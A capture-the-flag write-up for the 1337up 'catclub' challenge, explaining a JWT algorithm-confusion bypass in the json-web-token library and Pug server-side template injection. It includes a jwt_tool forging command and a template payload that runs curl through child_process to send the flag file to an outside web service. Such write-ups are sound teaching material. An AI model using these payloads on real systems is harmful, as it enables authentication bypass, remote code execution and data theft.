1337up ctf catclub writeup
Description
Recon
Here we have source code and URL. After some investigation, we can find that there is only a login/register endpoint here, which may help us in our next move.
We register with a random account hacker123
and login in. Now, we see four very cute cats and a title with our registered username, and since the username is displayed directly as is, we can guess that there may be injection-related vulnerabilities.
And second interesting thing is that the request carries a JWT cookie.
Expolit
We already have the above findings in hand and now do a targeted search of the source code. Since this is a JavaScript project, we get the package.json
to see its dependencies:
{
"name": "cat-club",
"version": "4.2.0",
"main": "app/app.js",
"scripts": {
"start": "node app/app.js"
},
"dependencies": {
"bcryptjs": "^2.4.3",
"cookie-parser": "^1.4.6",
"dotenv": "^16.4.5",
"pug": "^3.0.3",
"express": "^4.21.0",
"express-session": "^1.18.0",
"json-web-token": "~3.0.0",
"pg": "^8.12.0",
"sequelize": "^6.37.3"
},
"devDependencies": {
"nodemon": "^3.1.4"
},
"engines": {
"node": ""
},
"license": "MIT",
"keywords": [],
"author": "",
"description": ""
}
Notice the highlighted line, which is dependency library of JWT handled in JavaScript, search it in npmjs:
And there’s nothing strange about the usage. However, we quickly discovered a high-risk vulnerability on the security page.
We can learn more detail infomation about this vulnerability in PortSwigger Academy. After we have familiarized ourselves with how this vulnerability works, in order to expolit it.
we need public key
(in first request we can get orginal alg_type is RS256).
Fortunately, the program has an endpoint that provides a public key.
router.get("/jwks.json", async (req, res) => {
try {
const publicKey = await fsPromises.readFile(path.join(__dirname, "..", "public_key.pem"), "utf8");
const publicKeyObj = crypto.createPublicKey(publicKey);
const publicKeyDetails = publicKeyObj.export({ format: "jwk" });
const jwk = {
kty: "RSA",
n: base64urlEncode(Buffer.from(publicKeyDetails.n, "base64")),
e: base64urlEncode(Buffer.from(publicKeyDetails.e, "base64")),
alg: "RS256",
use: "sig",
};
res.json({ keys: [jwk] });
} catch (err) {
res.status(500).json({ message: "Error generating JWK" });
}
});
❯ curl https://catclub-0.ctf.intigriti.io/jwks.json | jq .
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 410 100 410 0 0 221 0 0:00:01 0:00:01 --:--:-- 221
{
"keys": [
{
"kty": "RSA",
"n": "w4oPEx-448XQWH_OtSWN8L0NUDU-rv1jMiL0s4clcuyVYvgpSV7FsvAG65EnEhXaYpYeMf1GMmUxBcyQOpathL1zf3_Jk5IsbhEmuUZ28Ccd8l2gOcURVFA3j4qMt34OlPqzf9nXBvljntTuZcQzYcGEtM7Sd9sSmg8uVx8f1WOmUFCaqtC26HdjBMnNfhnLKY9iPxFPGcE8qa8SsrnRfT5HJjSRu_JmGlYCrFSof5p_E0WPyCUbAV5rfgTm2CewF7vIP1neI5jwlcm22X2t8opUrLbrJYoWFeYZOY_Wr9vZb23xmmgo98OAc5icsvzqYODQLCxw4h9IxGEmMZ-Hdw",
"e": "AQAB",
"alg": "RS256",
"use": "sig"
}
]
}
And we can transfer JWK to PEM format key with CyberChef
Further, in the endpoint that returns the Cats Gallery
after user has successfully loggedin, we can see that the username is also injected into the server-side template in advance in JWT.
router.get("/cats", getCurrentUser, (req, res) => {
if (!req.user) {
return res.redirect("/login?error=Please log in to view the cat gallery");
}
const templatePath = path.join(__dirname, "views", "cats.pug");
fs.readFile(templatePath, "utf8", (err, template) => {
if (err) {
return res.render("cats");
}
if (typeof req.user != "undefined") {
template = template.replace(/guest/g, req.user);
}
const html = pug.render(template, {
filename: templatePath,
user: req.user,
});
res.send(html);
});
});
Tip
hacktricks have collected awesome lists for
SSTI
Solution
- exploit json-web-token algorithm-confusion to bypass login in JWT verifying.
- use
SSTI
to RCE.
❯ python3 jwt_tool.py --exploit k -pk ~/Downloads/pubkey -I -pc username -pv "#{7*7}" $JWT
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.7 \______| @ticarpi
Original JWT:
File loaded: /home/ada/Downloads/pubkey
jwttool_697a82c0d94b5cd145edc825ef911a2d - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IiN7Nyo3fSJ9.lsLiuUrEkr81Z73IyAJmF7gTJfp9WwqErjPlr9e9UvI
Use this new JWT and reload the page, we see:
Now, change to real RCE payload:
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad(\"child_process\").exec('curl <web service>/?flag=$(cat /flag* | base64)')}()}
which can use ngrok for proxy our web service.